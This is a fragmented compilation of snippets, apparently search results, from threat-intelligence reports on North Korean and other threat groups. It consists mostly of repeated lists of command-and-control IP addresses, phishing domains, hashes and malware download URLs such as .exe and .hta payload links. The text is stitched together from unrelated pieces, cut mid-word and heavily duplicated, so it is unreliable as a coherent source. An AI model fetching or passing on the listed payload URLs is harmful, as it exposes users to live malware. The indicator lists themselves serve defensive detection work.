119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4…","…24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40…","…http was changed to http, and sensitive information may have been excluded. 1.234.41.14 (Kimsuky xRAT C2) 115.21.139.222 (Kimsuky xRAT C2) 121.160.252.1 (Kimsuky xRAT C2) 47.103.206.233 (FlowerPower C2) 169.254.100.95 (Kimsuky xRAT C2)…","…51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36 jikyung.co.kr 211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230 scimpex.com 103.227.176.20 automercado.co.cr 54.241.91.49…","…Second stage C2 server http://115.28.160.20:443 – Compromised server Malware hosting server http://nzssdm.com/assets/wwtm.dat – Windows payload distribution…","…Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead) Appendix Indicators of Compromise (IoCs) 115.68.110.73 - compromised site IP 9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse MITRE ATTACK T1566.001 -…","…from C2(additional file download & execution) \u0000‡ But we did not get any additional files from C2 \u0000‡ C2 is https://www.kbautosys.com \u0000‡ 115.92.103.37 CASE 1: IMPERSONATED as FSI \u0003t Agent Dropper \u0000‡ Phishing Email Impersonated a National Police Officer CASE 2: IMPERSONATED as A NATIONAL…","…data from C2(additional file download & execution) • But we did not get any additional files from C2 • C2 is https://www.kbautosys.com • 115.92.103.37 CASE 1: IMPERSONATED as FSI – Agent Dropper • Phishing Email Impersonated a National Police Officer CASE 2: IMPERSONATED as A NATIONAL…","…poisoning BLOCK / MONITOR 14 103.21.161.105 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 15 115.96.27.126 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 16 185.207.232.121 PHP web shell tooling /…","…These domains are provided by a free DDNS service and both resolve to the same IP address, 116.193.155.38. When this Bisonal variant communicates with its C2, the malware sends an HTTP POST request with the static strings “ks8d” and…","…51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171…","…C2 116.202.99.218 bp-analytics.de Mutex Global\\AB732E15-D8DD-87A1-7464-CE6698819E701 StartupDir…","…Lilith RAT Hosting technology LTD 91.107.208.93 23.254.225.184 194.68.27.204 GSRAT 116.202.99.218 38.180.249.56 Hetzner Online GmbH M247 Europe SRL 62.113.118.157 • The threat actor abuses WordPress-based web sites as staging…","…This sample, then connected to the C2 IP 116.202.99.218:443 via a TCP socket.…","…103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179…","…103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115…","…poisoning BLOCK / MONITOR 3 75.119.143.189 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 4 117.203.73.63 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 5 146.190.107.103 PHP web shell tooling /…","…SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198…","…(None) cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f (UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.10…","…Our platform surfaced eight hosting instances (182.136.123.102, 119.6.56.194, 182.136.120.52, 118.123.54.71, 61.139.89.11, 125.67.171.158, 125.65.88.195, and 119.6.121.143) over the same port \"9999\". Fig.…","…118.128.190.191 apars-surgery.org KR AS3786 LG DACOM Corporation 160.153.142.0 akramportal.org NL AS21501 Host Europe GmbH…","…41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These…","…All three, 163.29.3.119, 118.163.30.45, and 59.125.159.81, are registered to academic, government, or research backbone providers in Taiwan.…","…www.cnhonkerarmy.com:111 ssl.pstatic.naver_test.com 118.163.30.45 ( www.papasign.com ) 8.3 MITRE ATT&CK Techniques Based on the observed activities, the following MITRE ATT&CK techniques are evident:…","…Ownership Insights 118.163.30.45 Appears as part of the IP range used for the domain dtc-tpe.com.tw, linked to Taiwan’s HINET provider (118.163.30.46 ) Site Indices page of HINET provider . 163.29.3.119 Falls within the 163.29.3.0/24 subnet identified with Taiwanese government or…","….193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.…","…details are displayed below. IP Address Resolving Domain(s) TLS Certificate Org Domain in Common Name of Certificate 118.193.68.146 N/A Sectigo Limited *.nidcheck.o-r.kr *.againcheck.site 118.194.248.148 N/A N/A N/A 123.58.200.50 N/A N/A N/A 152.32.138.191 N/A…","…IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.4…","…118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.…","…=?UTF-8?B?IO2GteyngOyEnCjsnbQp6rCAIOuPhOywqe2WiOyWtOyalC4=?= Message-ID: <894fb3ac5b9e18e3207b1b73de5b395b@118.193.68.90> X-Mailer: PHPMailer 5.2.14 (https://github.com/PHPMailer/PHPMailer) MIME-Version: 1.0 이메일 헤더 분석 1.…","…8.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.8…","…8.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.1…","…— Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK…","…activity. IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25…","…101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.…","…Historical Observations IP Address Resolving Domain(s) TLS Certificate Org Domain in Common Name of Certificate 118.193.69.248 ozszg.top mail.ozszg.top N/A N/A 123.58.200.13 N/A N/A N/A 152.32.243.184 nld.blog-view.o-r.kr N/A N/A 152.32.138.63 N/A N/A N/A…","…2.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.20…","…8.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.24…","…18.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — —…","…Certificate Org Domain in Common Name of Certificate 118.193.68.146 N/A Sectigo Limited *.nidcheck.o-r.kr *.againcheck.site 118.194.248.148 N/A N/A N/A 123.58.200.50 N/A N/A N/A 152.32.138.191 N/A N/A N/A 152.32.243.153 N/A Sectigo Limited *.checkmail.kro.kr…","…23.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138…","…443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology 118.194.249.109 — AS135377…","…import references. The C2 Empire: 14 Servers, 3 DNS Providers, 1 Fingerprint C2 IP Addresses IP Address Port ASN Organization 118.194.248.246 443 AS135377 UCloud HK 152.32.243.178 80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology…","….194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.10…","…1.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.2…","…443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology 118.194.249.109 — AS135377 UCloud HK 101.36.114.231 443 — — Fourteen C2 servers.…","…# Infrastructure: 79 Domains Across 5 IPs ## The DAOU Staging Server (27.102.137.38 — 37 domains) ## The Fast-Flux Farm (118.194.249.109 — 40 domains) ## The Naver Phishing Farm (27.102.137.150 — 12+ domains, LIVE) # Related Kimsuky Sample # Detection Guidance ##…","…123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.…","…C&C 80.71.157.55 139.99.36.158 158.247.253.215 165.154.78.9 141.164.41.17 118.194.249.201 158.247.202.109 45.61.161.103 101.36.114.190 216.244.74.115 158.247.230.196 Dropbox URL…","….193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24…","…namerowem.site gmoosomnoem.site mncomgom.site ggnmcomas.site 15.235.130.160 OVH SAS SG remote.henh247.net updatetiker.net 118.194.249.38 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED KR gomncomow.site gooczmmnc.site gnmoommle.space These findings indicate that this…","…The server therefore controls the next stage at execution time. Let’s look at the C2 information Domain: acnms.dmdoc.dynv6.net IP: 118.194.249.91 The domain is hosted by a free DynDNS hosting service called “dynv6.com.” The IP address is provided by ucloud. When you visit the…","…be used as malware download websites: Compromised domain Serve r colasprint.com 50.192.28.29 speed-stream.com kyungrok.com 118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118…","…45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","…navers.store 118.33.224.29 [KR] 2021-11-18 112.175.185.19 [KR] 사이버 안전국 unusual.…","…이번 공격에 사용된 서버 118.36.192.211은 nca.naverccrp.com, xn--nid-mo0a.naverccrp.com, m.naverccrp.com 등 여러번 일반 사용자들 대상으로 진행된 피싱 공격에도 악용된 적이 있는 것으로 확인되었습니다.…","…info 118.36.192.211 209.99.40.222 ○ 대북분야 대상 SSO 피싱 캠페인 (Kimsuky) kakauth .com 172.67.177.237 104.21.59.136 navauth .com…","…C2 address used by backdoor 118.70.116.154:8080 163.25.24.44 45.238.25.2 devstar.dnsrd.com fxbet.linkpc.net lservs.linkpc.net mmsreceive.linkpc.net mmsreceive.linkpc.net msse…","…2020‑10‑23 A compromised legitimate site hosting the C&C server: https://www.radiographers.org/aboutus/aboutus.php 118.98.221.14 kapata-arkeologi.kemdikbud.go.id Pustekkom 2020‑01‑02 A compromised legitimate site hosting the C&C server:…","…SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37…","…C2 Malicious URLs related to this malware are blocked by FortiGuard Web Filtering Service & the botnet IP engine: 119.18.230.253 218.255.24.226 The author wants to thank Artem Semenchenko for additional insights during the attribution process.…","…(UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6…","…URL http://106.250.168.50/rd.exe http://106.250.168.50/todesk.rar http://119.201.213.146/mscorsvw2.exe http://183.111.148.147/mscorsvw2.exe http://58.180.56.28/mscorsvw2.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석…","…store 210.92.18 .185 119.204.168.143 ○ 2022년 국무조정실 정부업무평가단 구성 사칭 피싱 공격 (Kimsuky) accounts mt.certuser.…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대…","…as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203 Related APK Samples In addition to ELF ARM files the HTTP Server can also serve APK files.…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.…","…eight hosting instances (182.136.123.102, 119.6.56.194, 182.136.120.52, 118.123.54.71, 61.139.89.11, 125.67.171.158, 125.65.88.195, and 119.6.121.143) over the same port \"9999\". Fig.…","…FRP hash 24d5dd3006c63d0f46fb33cbc1f576325d4e7e03e3201ff4a3c1ffa604f1b74a, Our platform surfaced eight hosting instances (182.136.123.102, 119.6.56.194, 182.136.120.52, 118.123.54.71, 61.139.89.11, 125.67.171.158, 125.65.88.195, and 119.6.121.143) over the same port \"9999\". Fig.…","…poisoning BLOCK / MONITOR 10 134.209.252.157 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 11 119.63.72.54 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 12 138.68.161.170 PHP web shell tooling /…","…Domains and IPs buttyfly.000webhostapp.com planar-progress.000webhostapp.com 120.192.73.202 180.182.52.76 Malware Technologies Vulnerabilities and exploits Malware Descriptions Malware…","…Domains and IPs buttyfly.000webhostapp.com planar-progress.000webhostapp.com 120.192.73.202 180.182.52.76 ScarCruft Backdoor APT Malware Malware Descriptions Vulnerabilities and…","…URL http://121.130.210.38/pprb/cool/d.php?newpa=tony http://121.130.210.38/pprb/server/d.php?newpa=attach http://121.130.210.38/pprb/server/d.php?newpa=cool http:…","…to http, and sensitive information may have been excluded. 1.234.41.14 (Kimsuky xRAT C2) 115.21.139.222 (Kimsuky xRAT C2) 121.160.252.1 (Kimsuky xRAT C2) 47.103.206.233 (FlowerPower C2) 169.254.100.95 (Kimsuky xRAT C2) 211.115.73.132 (Kimsuky xRAT C2)…","…b6b0602310bb2d4360c52685119aac1b C2 crwellfood.com daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206…","…C2 crwellfood.com daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206…","…http://main.dkwis.kro.kr:8000/0918_uri_skle/dksleks?na=myapp http://main.dkwis.kro.kr:8000/0918_uri_skle/dksleks?na=myappfest http://121.66.72.110/0918_uri_skle/dksdlf?na=comline 2024-10-29 04:41:26 UTC 기준 탐지되는 보안 업체들은 다음과…","…IP Traffic 121.78.88.79:80 (TCP) 8.238.42.126:80 (TCP) 2023-06-12 09:10:15 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다. Acronis (Static…","…ESRC에서 이메일 발송지를 역추적한 결과 두 공격 사례 모두 servera94.opencom.com [121.78.88.94] 서버가 활용된 정황이 포착됐고, 조사 결과 꽤 오래전부터 공격 거점으로 악용된 것으로 드러났습니다.…","…include 23.95.213.210 (a known VPS provider used in past credential-stuffing campaigns), 218.92.0.210 (allocated to a Chinese ISP), and 122.114.233.77 (Henan Mobile, China).…","…이 파일을 조사해 보면, 태국[TH] 소재 아이피 '122.155.191.33' 주소에서 'XenoRAT' 악성파일이 사용된 이력이 발견됩니다.…","….pklzd.com yqqttq.pklzd.com vvopen.pklzd.com niohai.pklzd.com www.niohai.pklzd.com ydcxcm.pklzd.com pmzqme.pklzd.com nate.pklzd.com 123.111.231.26 142.11.248.98 https://vvopen.pklzd.com/pwko.hta http://vvopen.pklzd.com/pwko.hta https://link24.kr/CWvH07K; https://vvopen.pklzd.com/p…","…152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.…","…Resolving Domain(s) TLS Certificate Org Domain in Common Name of Certificate 118.193.69.248 ozszg.top mail.ozszg.top N/A N/A 123.58.200.13 N/A N/A N/A 152.32.243.184 nld.blog-view.o-r.kr N/A N/A 152.32.138.63 N/A N/A N/A A Simple \"Hello\" While analyzing servers…","…193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224…","…Name of Certificate 118.193.68.146 N/A Sectigo Limited *.nidcheck.o-r.kr *.againcheck.site 118.194.248.148 N/A N/A N/A 123.58.200.50 N/A N/A N/A 152.32.138.191 N/A N/A N/A 152.32.243.153 N/A Sectigo Limited *.checkmail.kro.kr *.nidcorp.store *.checkagain.store…","…152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.…","…IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.1…","….58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201…","…Passive DNS records indicated that the domain resolved to 123.58.201.34, establishing the first infrastructure relationship examined in this research.…","…58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.17…","…Note: As of mid-February, all of the g ser.eu domains resolve to localhost, except for gcuser.eu, which continues to resolve to IP 123.76.96.130.* The /upload Folder Figure 12: Contents of the upload folder The upload folder is by far the most active folder on this server.…","…poisoning BLOCK / MONITOR 6 95.217.164.124 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 7 124.122.142.142 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 8 188.80.228.122 PHP web shell tooling /…","…그런데 로그 파일을 살펴보면 한국의 리눅스랩 VPN 대역의 아이피 '124.217.209.11' 주소에서 감염 정보가 등록되고, 맥은 '56DFDBA0' 주소가 기록됩니다.…","…malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203 Related APK Samples In addition to ELF ARM files the HTTP Server can also serve APK files.…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96…","…campaign2-nid.com 27.102.130.92 (KR-DAOU) 172.67.168.65 104.21.26.97 kyf-dream.com 124.5.163.111 (KR-DLIVE) 112.214.236.86 (KR-DLIVE) 172.67.187.104 104.21.48.172 panmuntour.com 112.214.236.86…","…nid.naver-auth.com 172.67.158.166 104.21.14.107 nid.naverify.com 172.67.178.31 104.21.51.95 merryear.com 124.5.163.170 (KR-DLIVE) 222.122.195.67 (KR-KT) 172.67.208.102 104.21.34.210 glaed-hotel.com 49.1.238.247…","…59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213…","…\u0001@ The RAT components ( i.e., executables started with parameter - p 0x57AC098B ) connect to PHP files like http://125.206.177.152/o ld/viewer.php .…","…commands from its botmaster (HIDDEN COBRA). Figure 7 C2 IP Addresses As can be seen, besides the main IP addresses (“125.212.132.222\" and \"175.100.189.174\") the bot also uses the address '10.10.30.110', which is a private address found on many networks using NAT (Network…","…The C&Cs given in the BadCyber analysis were the following IP addresses: 125.214.195.17 196.29.166.218 LAZARUS MALWARE Only one of the samples referenced by BadCyber is available in public malware repositories.…","…SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110…","…(UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.11…","…Ayala Science Library Irvine, CA 92697-1175 UNITED STATES (949) 824-2222 oit-nsp@uci.edu Name Servers: NS4.SERVICE.UCI.EDU 128.200.59.190 NS5.SERVICE.UCI.EDU 52.26.131.47 Domain record activated: 30-Sep-1985 Domain record last updated: 07-Jul-2016 Domain expires:…","…70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14…","…being compromised previously, hinting that some of them could belong to legitimate organizations. Fig 7: Information of entity 128.201.64.194 from Shodan Analysis of entity 128.201.64.194 from Shodan¹ showed that it is a Mikrotik router located in Brazil as shown in Fig 7.…","…Appendix 3. IoCs of Wannacry IP Addresses and Domains IPv4 197.231.221.211 IPv4 128.31.0.39 IPv4 149.202.160.69 IPv4 46.101.166.19 IPv4 91.121.65.179 URL http://www.btcfrog.com/qr/bitcoinpng.php?address URL…","…/ target-list hosting / launch MONITOR & HUNT 9 103.77.210.80 Staging / target-list hosting / launch MONITOR & HUNT 10 128.90.176.13 Staging / target-list hosting / launch MONITOR & HUNT 11 138.199.34.201 Staging / target-list hosting / launch MONITOR & HUNT…","…C2) CC First Seen Last Seen Resolved IP (C2 disguise) exbonus.mrbasic.com 218.224.125.66 JP 2017-01-29 2017-02-06 129.221.254.13 exbonus.mrbasic.com 82.144.131.5 CZ 2017-02-06 2017-02-06 9.173.0.74 tradeboard.mefound.com 218.224.125.66 JP…","…Python : Multiple custom tools and scripts python hashstring.py 0xa7917761 python3 real_ip_discover.py “tw.systexcloud.com/” 13.224.163.100/24 “<title>Welcome” -v 3.…","…for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*] Done: Found 500 domains for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*] Done: Found 178 domains for 15.235.33.28 [*]…","…Using 10 workers. [*] Done: Found 500 domains for 13.248.252.114 [*] Done: Found 500 domains for 13.248.158.159 [*] Done: Found 500 domains for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*]…","…Using 10 workers. [*] Done: Found 500 domains for 13.248.252.114 [*] Done: Found 500 domains for 13.248.158.159 [*] Done: Found 500 domains for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*]…","…(TCP) 104.244.42.65:80 (TCP) 104.85.1.163:80 (TCP) 104.86.110.106:80 (TCP) 116.84.245(.0100:80 (TCP) 119.205.211(.077:443 (TCP) 13.49.212.207:80 (TCP) 142.250.179.132:80 (TCP) 152.199.19.74:80 (TCP) 157.240.247.35:443 (TCP) 157.240.247.35:80 (TCP) 172.64.149.23:80…","…URL http://13.76.133.68:10443/ http://13.76.133.68:8080/ http://139.177.190.243/update.exe http://27.102.107.224/update.exe http://27.102.107.224:5443/…","…3fd59c87acb8d55ea4f90a47e07fea86222795d015fe03fba18717700849 3fda6fd600b4892bda1d28c1835811a139615db41c99a37747954dcccaeb\u001f6e 172.105.232.89 130.130.121.44 118 .107.11.13 5 103.140.187.183 103.27.184.27 172.105.230.196 172.105.232.89 139.180.192.19 www.amebaoor.net www.evonzae.com 167.179.…","…the end of August 2024, QuadSwitcher compromised a technology company in Western Europe, downloading PuTTY from http://130.185.75.198:8000/plink.exe using certutil.exe , followed by using Process Explorer and EDRKillShifter (SHA-1: BF84712C5314DF2AA851B8D4356EA51A9AD50257…","…to Win64/PHP 8.2 while preserving the \"Million OK !!!!\" beacon signature If you've already published reporting on nid-log.com , the 130.94.29.111 cluster, or the bootservice.php payload source, please reply or DM — we'll update and credit. The Kill Chain On April 10, 2026 ,…","…2025-02-03 2025-02-20 Python cdn.clubinfo.io 5.206.227.51 2025-01-21 2025-02-19 Python getstockprice.info 131.226.2.120 2025-01-21 2025-01-23 Python api.stockinfo.io 136.244.93.248 2024-10-30 2024-11-11 Python 